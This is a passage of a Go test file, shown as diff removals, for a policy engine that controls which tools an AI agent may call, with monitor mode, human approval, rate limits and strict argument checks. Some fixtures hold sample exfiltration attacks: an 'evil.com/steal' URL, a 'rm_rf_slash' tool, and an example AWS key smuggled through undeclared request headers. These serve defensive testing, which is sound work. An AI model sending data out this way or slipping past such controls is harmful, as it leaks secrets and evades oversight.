"3.14"}, - {true, "true"}, - {false, "false"}, - {int(100), "100"}, - } - - for _, tt := range tests { - got := argToString(tt.input) - if got != tt.want { - t.Errorf("argToString(%v) = %q, want %q", tt.input, got, tt.want) - } - } -} - -// TestToolRulesImplicitlyAllowTool tests that defining a tool_rule -// implicitly adds the tool to allowed_tools. -func TestToolRulesImplicitlyAllowTool(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: implicit-allow-test -spec: - # Note: fetch_url NOT in allowed_tools, but has a tool_rule - tool_rules: - - tool: fetch_url - allow_args: - url: "^https://.*" -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Tool should be allowed because it has a rule defined - result := engine.IsAllowed("fetch_url", map[string]any{"url": "https://example.com"}) - if !result.Allowed { - t.Error("Expected fetch_url to be implicitly allowed via tool_rules") - } -} - -// ----------------------------------------------------------------------------- -// Monitor Mode Tests (Phase 4) -// ----------------------------------------------------------------------------- - -// TestMonitorModeAllowsViolations tests that monitor mode allows through -// requests that would otherwise be blocked, but flags ViolationDetected. -func TestMonitorModeAllowsViolations(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: monitor-mode-test -spec: - mode: monitor - allowed_tools: - - safe_tool -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Verify mode is set correctly - if engine.GetMode() != ModeMonitor { - t.Errorf("GetMode() = %q, want %q", engine.GetMode(), ModeMonitor) - } - if !engine.IsMonitorMode() { - t.Error("IsMonitorMode() = false, want true") - } - - tests := []struct { - name string - tool string - wantAllowed bool - wantViolation bool - }{ - { - name: "Allowed tool - no violation", - tool: "safe_tool", - wantAllowed: true, - wantViolation: false, - }, - { - name: "Blocked tool - allowed in monitor mode with violation flag", - tool: "dangerous_tool", - wantAllowed: true, // MONITOR: allowed through - wantViolation: true, // but flagged as violation - }, - { - name: "Another blocked tool - same behavior", - tool: "rm_rf_slash", - wantAllowed: true, - wantViolation: true, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - decision := engine.IsAllowed(tt.tool, nil) - - if decision.Allowed != tt.wantAllowed { - t.Errorf("Allowed = %v, want %v", decision.Allowed, tt.wantAllowed) - } - if decision.ViolationDetected != tt.wantViolation { - t.Errorf("ViolationDetected = %v, want %v", decision.ViolationDetected, tt.wantViolation) - } - }) - } -} - -// TestEnforceModeBlocksViolations tests that enforce mode (default) blocks -// violations and sets ViolationDetected appropriately. -func TestEnforceModeBlocksViolations(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: enforce-mode-test -spec: - mode: enforce - allowed_tools: - - safe_tool -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Verify mode is set correctly - if engine.GetMode() != ModeEnforce { - t.Errorf("GetMode() = %q, want %q", engine.GetMode(), ModeEnforce) - } - if engine.IsMonitorMode() { - t.Error("IsMonitorMode() = true, want false") - } - - tests := []struct { - name string - tool string - wantAllowed bool - wantViolation bool - }{ - { - name: "Allowed tool - no violation", - tool: "safe_tool", - wantAllowed: true, - wantViolation: false, - }, - { - name: "Blocked tool - denied with violation flag", - tool: "dangerous_tool", - wantAllowed: false, // ENFORCE: blocked - wantViolation: true, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - decision := engine.IsAllowed(tt.tool, nil) - - if decision.Allowed != tt.wantAllowed { - t.Errorf("Allowed = %v, want %v", decision.Allowed, tt.wantAllowed) - } - if decision.ViolationDetected != tt.wantViolation { - t.Errorf("ViolationDetected = %v, want %v", decision.ViolationDetected, tt.wantViolation) - } - }) - } -} - -// TestDefaultModeIsEnforce tests that omitting mode defaults to enforce. -func TestDefaultModeIsEnforce(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: default-mode-test -spec: - # mode not specified - should default to enforce - allowed_tools: - - safe_tool -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - if engine.GetMode() != ModeEnforce { - t.Errorf("Default mode = %q, want %q", engine.GetMode(), ModeEnforce) - } - - // Verify enforce behavior: blocked tool is denied - decision := engine.IsAllowed("blocked_tool", nil) - if decision.Allowed { - t.Error("Default mode should block disallowed tools, but Allowed=true") - } - if !decision.ViolationDetected { - t.Error("ViolationDetected should be true for blocked tool") - } -} - -// TestInvalidModeReturnsError tests that invalid mode values cause Load() to fail. -func TestInvalidModeReturnsError(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: invalid-mode-test -spec: - mode: invalid_mode - allowed_tools: - - safe_tool -` - - engine := NewEngine() - err := engine.Load([]byte(policyYAML)) - - if err == nil { - t.Error("Expected Load() to fail with invalid mode, but it succeeded") - } -} - -// TestMonitorModeWithArgValidation tests monitor mode with argument-level -// validation failures. -func TestMonitorModeWithArgValidation(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: monitor-args-test -spec: - mode: monitor - tool_rules: - - tool: fetch_url - allow_args: - url: "^https://github\\.com/.*" -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - name string - args map[string]any - wantAllowed bool - wantViolation bool - wantFailedArg string - }{ - { - name: "Valid GitHub URL - no violation", - args: map[string]any{"url": "https://github.com/my-repo"}, - wantAllowed: true, - wantViolation: false, - wantFailedArg: "", - }, - { - name: "Attacker URL - allowed in monitor but flagged", - args: map[string]any{"url": "https://evil.com/steal"}, - wantAllowed: true, // MONITOR: allowed through - wantViolation: true, // flagged as violation - wantFailedArg: "url", - }, - { - name: "Missing URL - allowed in monitor but flagged", - args: map[string]any{}, - wantAllowed: true, - wantViolation: true, - wantFailedArg: "url", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - decision := engine.IsAllowed("fetch_url", tt.args) - - if decision.Allowed != tt.wantAllowed { - t.Errorf("Allowed = %v, want %v", decision.Allowed, tt.wantAllowed) - } - if decision.ViolationDetected != tt.wantViolation { - t.Errorf("ViolationDetected = %v, want %v", decision.ViolationDetected, tt.wantViolation) - } - if tt.wantFailedArg != "" && decision.FailedArg != tt.wantFailedArg { - t.Errorf("FailedArg = %q, want %q", decision.FailedArg, tt.wantFailedArg) - } - }) - } -} - -// TestDecisionReason tests that decisions include helpful reason strings. -func TestDecisionReason(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: reason-test -spec: - mode: monitor - allowed_tools: - - allowed_tool -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Test that reason is populated - decision := engine.IsAllowed("blocked_tool", nil) - if decision.Reason == "" { - t.Error("Decision.Reason should not be empty") - } - - // Allowed tool should also have a reason - decision = engine.IsAllowed("allowed_tool", nil) - if decision.Reason == "" { - t.Error("Decision.Reason should not be empty for allowed tools") - } -} - -// ----------------------------------------------------------------------------- -// Human-in-the-Loop (ASK Action) Tests (Phase 5) -// ----------------------------------------------------------------------------- - -// TestAskActionReturnsAskDecision tests that action="ask" returns a Decision -// with Action=ActionAsk, requiring user approval. -func TestAskActionReturnsAskDecision(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: ask-action-test -spec: - tool_rules: - - tool: dangerous_tool - action: ask -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - decision := engine.IsAllowed("dangerous_tool", nil) - - if decision.Action != ActionAsk { - t.Errorf("Action = %q, want %q", decision.Action, ActionAsk) - } - if decision.Allowed { - t.Error("Allowed should be false for ASK decision (requires user approval)") - } - if decision.ViolationDetected { - t.Error("ViolationDetected should be false for ASK (not a policy violation)") - } -} - -// TestBlockActionReturnsBlockDecision tests that action="block" unconditionally -// blocks the tool call. -func TestBlockActionReturnsBlockDecision(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: block-action-test -spec: - tool_rules: - - tool: forbidden_tool - action: block -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - decision := engine.IsAllowed("forbidden_tool", nil) - - if decision.Action != ActionBlock { - t.Errorf("Action = %q, want %q", decision.Action, ActionBlock) - } - if decision.Allowed { - t.Error("Allowed should be false for BLOCK decision") - } - if !decision.ViolationDetected { - t.Error("ViolationDetected should be true for BLOCK") - } -} - -// TestAskActionWithArgValidation tests that action="ask" still validates -// arguments before prompting the user. -func TestAskActionWithArgValidation(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: ask-with-args-test -spec: - tool_rules: - - tool: sensitive_tool - action: ask - allow_args: - target: "^(staging|prod)$" -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - name string - args map[string]any - wantAction string - wantAllowed bool - wantViolation bool - wantFailedArg string - }{ - { - name: "Valid args returns ASK", - args: map[string]any{"target": "staging"}, - wantAction: ActionAsk, - wantAllowed: false, // Needs user approval - wantViolation: false, - wantFailedArg: "", - }, - { - name: "Invalid args returns BLOCK (not ASK)", - args: map[string]any{"target": "production-eu"}, - wantAction: ActionBlock, - wantAllowed: false, - wantViolation: true, - wantFailedArg: "target", - }, - { - name: "Missing required arg returns BLOCK", - args: map[string]any{}, - wantAction: ActionBlock, - wantAllowed: false, - wantViolation: true, - wantFailedArg: "target", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - decision := engine.IsAllowed("sensitive_tool", tt.args) - - if decision.Action != tt.wantAction { - t.Errorf("Action = %q, want %q", decision.Action, tt.wantAction) - } - if decision.Allowed != tt.wantAllowed { - t.Errorf("Allowed = %v, want %v", decision.Allowed, tt.wantAllowed) - } - if decision.ViolationDetected != tt.wantViolation { - t.Errorf("ViolationDetected = %v, want %v", decision.ViolationDetected, tt.wantViolation) - } - if tt.wantFailedArg != "" && decision.FailedArg != tt.wantFailedArg { - t.Errorf("FailedArg = %q, want %q", decision.FailedArg, tt.wantFailedArg) - } - }) - } -} - -// TestInvalidActionReturnsError tests that invalid action values cause Load() to fail. -func TestInvalidActionReturnsError(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: invalid-action-test -spec: - tool_rules: - - tool: bad_tool - action: invalid_action -` - - engine := NewEngine() - err := engine.Load([]byte(policyYAML)) - - if err == nil { - t.Error("Expected Load() to fail with invalid action, but it succeeded") - } -} - -// TestDefaultActionIsAllow tests that omitting action defaults to "allow". -func TestDefaultActionIsAllow(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: default-action-test -spec: - tool_rules: - - tool: some_tool - # action not specified - should default to allow - allow_args: - param: "^valid$" -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Valid args should be allowed directly (not ASK) - decision := engine.IsAllowed("some_tool", map[string]any{"param": "valid"}) - if decision.Action != ActionAllow { - t.Errorf("Default action = %q, want %q", decision.Action, ActionAllow) - } - if !decision.Allowed { - t.Error("Tool with valid args should be allowed") - } -} - -// TestMixedActionsInPolicy tests a policy with multiple tools using different actions. -func TestMixedActionsInPolicy(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: mixed-actions-test -spec: - allowed_tools: - - safe_tool - tool_rules: - - tool: ask_tool - action: ask - - tool: block_tool - action: block - - tool: allow_tool - action: allow -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - tool string - wantAction string - }{ - {"safe_tool", ActionAllow}, - {"ask_tool", ActionAsk}, - {"block_tool", ActionBlock}, - {"allow_tool", ActionAllow}, - {"unknown_tool", ActionBlock}, // Not in allowed_tools - } - - for _, tt := range tests { - t.Run(tt.tool, func(t *testing.T) { - decision := engine.IsAllowed(tt.tool, nil) - if decision.Action != tt.wantAction { - t.Errorf("Action for %q = %q, want %q", tt.tool, decision.Action, tt.wantAction) - } - }) - } -} - -// TestDecisionIncludesAction tests that all decisions include the Action field. -func TestDecisionIncludesAction(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: action-field-test -spec: - allowed_tools: - - allowed_tool -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Allowed tool - decision := engine.IsAllowed("allowed_tool", nil) - if decision.Action == "" { - t.Error("Decision.Action should not be empty for allowed tool") - } - if decision.Action != ActionAllow { - t.Errorf("Action = %q, want %q", decision.Action, ActionAllow) - } - - // Blocked tool - decision = engine.IsAllowed("blocked_tool", nil) - if decision.Action == "" { - t.Error("Decision.Action should not be empty for blocked tool") - } - if decision.Action != ActionBlock { - t.Errorf("Action = %q, want %q", decision.Action, ActionBlock) - } -} - -// ----------------------------------------------------------------------------- -// Rate Limiting Tests (Phase 6) -// ----------------------------------------------------------------------------- - -// TestParseRateLimit tests parsing of rate limit strings. -func TestParseRateLimit(t *testing.T) { - tests := []struct { - name string - input string - wantLimit float64 // approximate rate per second - wantBurst int - wantErr bool - }{ - { - name: "Empty string - no rate limiting", - input: "", - wantLimit: 0, - wantBurst: 0, - wantErr: false, - }, - { - name: "5 per second", - input: "5/second", - wantLimit: 5.0, - wantBurst: 5, - wantErr: false, - }, - { - name: "5 per sec (short form)", - input: "5/sec", - wantLimit: 5.0, - wantBurst: 5, - wantErr: false, - }, - { - name: "60 per minute", - input: "60/minute", - wantLimit: 1.0, // 60/60 = 1 per second - wantBurst: 60, - wantErr: false, - }, - { - name: "2 per minute", - input: "2/minute", - wantLimit: 2.0 / 60.0, - wantBurst: 2, - wantErr: false, - }, - { - name: "3600 per hour", - input: "3600/hour", - wantLimit: 1.0, // 3600/3600 = 1 per second - wantBurst: 3600, - wantErr: false, - }, - { - name: "100 per hour", - input: "100/hour", - wantLimit: 100.0 / 3600.0, - wantBurst: 100, - wantErr: false, - }, - { - name: "Invalid format - no slash", - input: "5minute", - wantErr: true, - }, - { - name: "Invalid format - too many slashes", - input: "5/per/minute", - wantErr: true, - }, - { - name: "Invalid count - not a number", - input: "abc/minute", - wantErr: true, - }, - { - name: "Invalid count - zero", - input: "0/minute", - wantErr: true, - }, - { - name: "Invalid count - negative", - input: "-5/minute", - wantErr: true, - }, - { - name: "Invalid duration", - input: "5/day", - wantErr: true, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - limit, burst, err := ParseRateLimit(tt.input) - - if tt.wantErr { - if err == nil { - t.Errorf("ParseRateLimit(%q) expected error, got nil", tt.input) - } - return - } - - if err != nil { - t.Errorf("ParseRateLimit(%q) unexpected error: %v", tt.input, err) - return - } - - if burst != tt.wantBurst { - t.Errorf("ParseRateLimit(%q) burst = %d, want %d", tt.input, burst, tt.wantBurst) - } - - // Compare limits with some tolerance for floating point - gotLimit := float64(limit) - if gotLimit < tt.wantLimit*0.99 || gotLimit > tt.wantLimit*1.01 { - t.Errorf("ParseRateLimit(%q) limit = %f, want %f", tt.input, gotLimit, tt.wantLimit) - } - }) - } -} - -// TestRateLimitEnforcement tests that rate limits are enforced correctly. -// This is the key test: "2/minute" should allow first 2 calls, block subsequent. -func TestRateLimitEnforcement(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: rate-limit-test -spec: - tool_rules: - - tool: fast_tool - rate_limit: "2/minute" -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Simulate 5 rapid calls to fast_tool - // First 2 should succeed (burst), remaining 3 should be rate limited - var allowed, rateLimited int - - for i := 0; i < 5; i++ { - decision := engine.IsAllowed("fast_tool", nil) - - if decision.Allowed { - allowed++ - } else if decision.Action == ActionRateLimited { - rateLimited++ - // Verify the error message format - if decision.Reason == "" { - t.Errorf("Call %d: Rate limited but no reason provided", i+1) - } - } else { - t.Errorf("Call %d: Unexpected action %q", i+1, decision.Action) - } - } - - // Assert: first 2 succeed, next 3 fail - if allowed != 2 { - t.Errorf("Expected 2 allowed calls, got %d", allowed) - } - if rateLimited != 3 { - t.Errorf("Expected 3 rate limited calls, got %d", rateLimited) - } -} - -// TestRateLimitPerTool tests that rate limits are per-tool, not global. -func TestRateLimitPerTool(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: per-tool-rate-limit-test -spec: - allowed_tools: - - unlimited_tool - tool_rules: - - tool: limited_tool - rate_limit: "1/minute" -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // First call to limited_tool should succeed - decision := engine.IsAllowed("limited_tool", nil) - if !decision.Allowed { - t.Error("First call to limited_tool should be allowed") - } - - // Second call should be rate limited - decision = engine.IsAllowed("limited_tool", nil) - if decision.Allowed || decision.Action != ActionRateLimited { - t.Error("Second call to limited_tool should be rate limited") - } - - // Calls to unlimited_tool should still work (no rate limit) - for i := 0; i < 10; i++ { - decision = engine.IsAllowed("unlimited_tool", nil) - if !decision.Allowed { - t.Errorf("Call %d to unlimited_tool should be allowed", i+1) - } - } -} - -// TestRateLimitWithArgValidation tests that rate limits and arg validation work together. -func TestRateLimitWithArgValidation(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: rate-limit-with-args-test -spec: - tool_rules: - - tool: api_tool - rate_limit: "2/minute" - allow_args: - endpoint: "^/api/.*" -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Call 1: Valid args - should succeed - decision := engine.IsAllowed("api_tool", map[string]any{"endpoint": "/api/users"}) - if !decision.Allowed { - t.Errorf("Call 1 should be allowed, got action=%s, reason=%s", decision.Action, decision.Reason) - } - - // Call 2: Valid args - should succeed (within burst) - decision = engine.IsAllowed("api_tool", map[string]any{"endpoint": "/api/orders"}) - if !decision.Allowed { - t.Errorf("Call 2 should be allowed, got action=%s, reason=%s", decision.Action, decision.Reason) - } - - // Call 3: Even with valid args - should be rate limited - decision = engine.IsAllowed("api_tool", map[string]any{"endpoint": "/api/products"}) - if decision.Allowed || decision.Action != ActionRateLimited { - t.Errorf("Call 3 should be rate limited, got action=%s", decision.Action) - } -} - -// TestRateLimitDecisionFields tests that rate limited decisions have correct fields. -func TestRateLimitDecisionFields(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: rate-limit-fields-test -spec: - tool_rules: - - tool: test_tool - rate_limit: "1/minute" -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Exhaust the rate limit - _ = engine.IsAllowed("test_tool", nil) // First call succeeds - - // Second call should be rate limited - decision := engine.IsAllowed("test_tool", nil) - - // Verify all decision fields - if decision.Allowed { - t.Error("Allowed should be false") - } - if decision.Action != ActionRateLimited { - t.Errorf("Action should be %q, got %q", ActionRateLimited, decision.Action) - } - if !decision.ViolationDetected { - t.Error("ViolationDetected should be true") - } - if decision.Reason == "" { - t.Error("Reason should not be empty") - } - if !containsSubstring(decision.Reason, "rate limit") { - t.Errorf("Reason should mention rate limit, got: %s", decision.Reason) - } -} - -// TestInvalidRateLimitReturnsError tests that invalid rate limit values cause Load() to fail. -func TestInvalidRateLimitReturnsError(t *testing.T) { - tests := []struct { - name string - rateLimit string - wantErrMsg string - }{ - { - name: "Invalid format", - rateLimit: "invalid", - wantErrMsg: "invalid rate_limit", - }, - { - name: "Invalid duration", - rateLimit: "5/week", - wantErrMsg: "invalid rate_limit", - }, - { - name: "Zero count", - rateLimit: "0/minute", - wantErrMsg: "invalid rate_limit", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: invalid-rate-limit-test -spec: - tool_rules: - - tool: test_tool - rate_limit: "` + tt.rateLimit + `" -` - engine := NewEngine() - err := engine.Load([]byte(policyYAML)) - - if err == nil { - t.Error("Expected Load() to fail with invalid rate_limit, but it succeeded") - } else if !containsSubstring(err.Error(), tt.wantErrMsg) { - t.Errorf("Error message should contain %q, got: %v", tt.wantErrMsg, err) - } - }) - } -} - -// TestResetLimiter tests that rate limiters can be reset. -func TestResetLimiter(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: reset-limiter-test -spec: - tool_rules: - - tool: test_tool - rate_limit: "1/minute" -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Exhaust the rate limit - decision := engine.IsAllowed("test_tool", nil) - if !decision.Allowed { - t.Error("First call should be allowed") - } - - decision = engine.IsAllowed("test_tool", nil) - if decision.Allowed { - t.Error("Second call should be rate limited") - } - - // Reset the limiter - engine.ResetLimiter("test_tool") - - // Now it should work again - decision = engine.IsAllowed("test_tool", nil) - if !decision.Allowed { - t.Error("After reset, call should be allowed") - } -} - -// TestRateLimitCaseInsensitive tests that rate limits work case-insensitively. -func TestRateLimitCaseInsensitive(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: case-insensitive-test -spec: - tool_rules: - - tool: Test_Tool - rate_limit: "1/minute" -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Call with different case - should hit the same limiter - decision := engine.IsAllowed("TEST_TOOL", nil) - if !decision.Allowed { - t.Error("First call should be allowed") - } - - decision = engine.IsAllowed("test_tool", nil) - if decision.Action != ActionRateLimited { - t.Error("Second call with different case should be rate limited") - } -} - -// containsSubstring is a helper to check if a string contains a substring. -func containsSubstring(s, substr string) bool { - return len(s) >= len(substr) && (s == substr || len(s) > 0 && containsSubstringHelper(s, substr)) -} - -func containsSubstringHelper(s, substr string) bool { - for i := 0; i <= len(s)-len(substr); i++ { - if s[i:i+len(substr)] == substr { - return true - } - } - return false -} - -// ----------------------------------------------------------------------------- -// Strict Args Tests -// ----------------------------------------------------------------------------- - -// TestStrictArgsRejectsUndeclaredArgs tests that strict_args mode blocks -// arguments not declared in allow_args. -func TestStrictArgsRejectsUndeclaredArgs(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: strict-args-test -spec: - tool_rules: - - tool: fetch_url - strict_args: true - allow_args: - url: "^https://.*" -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - name string - args map[string]any - wantAllowed bool - wantReason string - }{ - { - name: "only declared arg - allowed", - args: map[string]any{"url": "https://github.com"}, - wantAllowed: true, - }, - { - name: "undeclared arg - blocked", - args: map[string]any{"url": "https://github.com", "headers": map[string]any{"X-Exfil": "secret"}}, - wantAllowed: false, - wantReason: "undeclared argument", - }, - { - name: "multiple undeclared args - blocked", - args: map[string]any{"url": "https://github.com", "timeout": 30, "retry": true}, - wantAllowed: false, - wantReason: "undeclared argument", - }, - { - name: "no args when required - blocked", - args: map[string]any{}, - wantAllowed: false, - wantReason: "required argument missing", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - decision := engine.IsAllowed("fetch_url", tt.args) - if decision.Allowed != tt.wantAllowed { - t.Errorf("Allowed = %v, want %v (reason: %s)", decision.Allowed, tt.wantAllowed, decision.Reason) - } - if tt.wantReason != "" && !containsSubstring(decision.Reason, tt.wantReason) { - t.Errorf("Reason = %q, want to contain %q", decision.Reason, tt.wantReason) - } - }) - } -} - -// TestStrictArgsDefault tests the global strict_args_default setting. -func TestStrictArgsDefault(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: strict-default-test -spec: - strict_args_default: true - tool_rules: - - tool: api_call - allow_args: - endpoint: "^/api/.*" - - tool: lenient_tool - strict_args: false - allow_args: - param: "^valid$" -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - name string - tool string - args map[string]any - wantAllowed bool - }{ - { - name: "global strict - extra arg blocked", - tool: "api_call", - args: map[string]any{"endpoint": "/api/users", "extra": "data"}, - wantAllowed: false, - }, - { - name: "global strict - only declared allowed", - tool: "api_call", - args: map[string]any{"endpoint": "/api/users"}, - wantAllowed: true, - }, - { - name: "override to lenient - extra arg allowed", - tool: "lenient_tool", - args: map[string]any{"param": "valid", "extra": "ignored"}, - wantAllowed: true, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - decision := engine.IsAllowed(tt.tool, tt.args) - if decision.Allowed != tt.wantAllowed { - t.Errorf("Allowed = %v, want %v (reason: %s)", decision.Allowed, tt.wantAllowed, decision.Reason) - } - }) - } -} - -// TestStrictArgsWithAskAction tests strict_args with action=ask. -func TestStrictArgsWithAskAction(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: strict-ask-test -spec: - tool_rules: - - tool: dangerous_tool - action: ask - strict_args: true - allow_args: - target: "^(staging|prod)$" -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - name string - args map[string]any - wantAction string - }{ - { - name: "valid args - returns ASK", - args: map[string]any{"target": "staging"}, - wantAction: ActionAsk, - }, - { - name: "undeclared arg - returns BLOCK (not ASK)", - args: map[string]any{"target": "staging", "force": true}, - wantAction: ActionBlock, - }, - { - name: "invalid arg value - returns BLOCK", - args: map[string]any{"target": "development"}, - wantAction: ActionBlock, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - decision := engine.IsAllowed("dangerous_tool", tt.args) - if decision.Action != tt.wantAction { - t.Errorf("Action = %q, want %q (reason: %s)", decision.Action, tt.wantAction, decision.Reason) - } - }) - } -} - -// TestStrictArgsExfiltrationPrevention is the key security test. -// It simulates the exact attack vector from the security review. -func TestStrictArgsExfiltrationPrevention(t *testing.T) { - // Attack scenario: Attacker tries to exfiltrate data via headers - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: exfil-prevention-test -spec: - tool_rules: - - tool: http_request - strict_args: true - allow_args: - url: "^https://api\\.github\\.com/.*" - method: "^(GET|POST)$" -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Attack payload - trying to exfiltrate via headers - attackPayload := map[string]any{ - "url": "https://api.github.com/repos", - "method": "POST", - "headers": map[string]any{ - "X-Exfiltrate": "AKIAIOSFODNN7EXAMPLE", - }, - "body": "stolen data here", - } - - decision := engine.IsAllowed("http_request", attackPayload) - - if decision.Allowed { - t.Fatal("SECURITY FAILURE: Exfiltration attack via headers should be blocked!") - } - - if decision.Action != ActionBlock { - t.Errorf("Expected ActionBlock, got %s", decision.Action) - } - - // Verify the reason mentions the undeclared argument - if !containsSubstring(decision.Reason, "undeclared") { - t.Errorf("Reason should mention undeclared argument, got: %s", decision.Reason) - } -} - -// TestLenientModeDefault tests that without strict_args, extra args are allowed. -func TestLenientModeDefault(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: lenient-test -spec: - tool_rules: - - tool: flexible_tool - allow_args: - required_param: "^valid$" -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Extra args should be allowed in default lenient mode - decision := engine.IsAllowed("flexible_tool", map[string]any{ - "required_param": "valid", - "extra1": "anything", - "extra2": map[string]any{"nested": "data"}, - }) - - if !decision.Allowed { - t.Errorf("Lenient mode should allow extra args, got blocked: %s", decision.Reason) - } -} - -// ----------------------------------------------------------------------------- -// Method Allowlist Tests -// ----------------------------------------------------------------------------- - -// TestDefaultMethodsAllowed tests that default safe methods are allowed -// when no explicit allowed_methods is specified in the policy. -func TestDefaultMethodsAllowed(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: default-methods-test -spec: - allowed_tools: - - some_tool -` - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Default safe methods should be allowed - safeTests := []struct { - method string - allowed bool - }{ - {"tools/call", true}, - {"tools/list", true}, - {"initialize", true}, - {"initialized", true}, - {"ping", true}, - {"completion/complete", true}, - {"notifications/initialized", true}, - {"notifications/progress", true}, - } - - for _, tt := range safeTests { - t.Run("safe:"+tt.method, func(t *testing.T) { - decision := engine.IsMethodAllowed(tt.method) - if decision.Allowed != tt.allowed { - 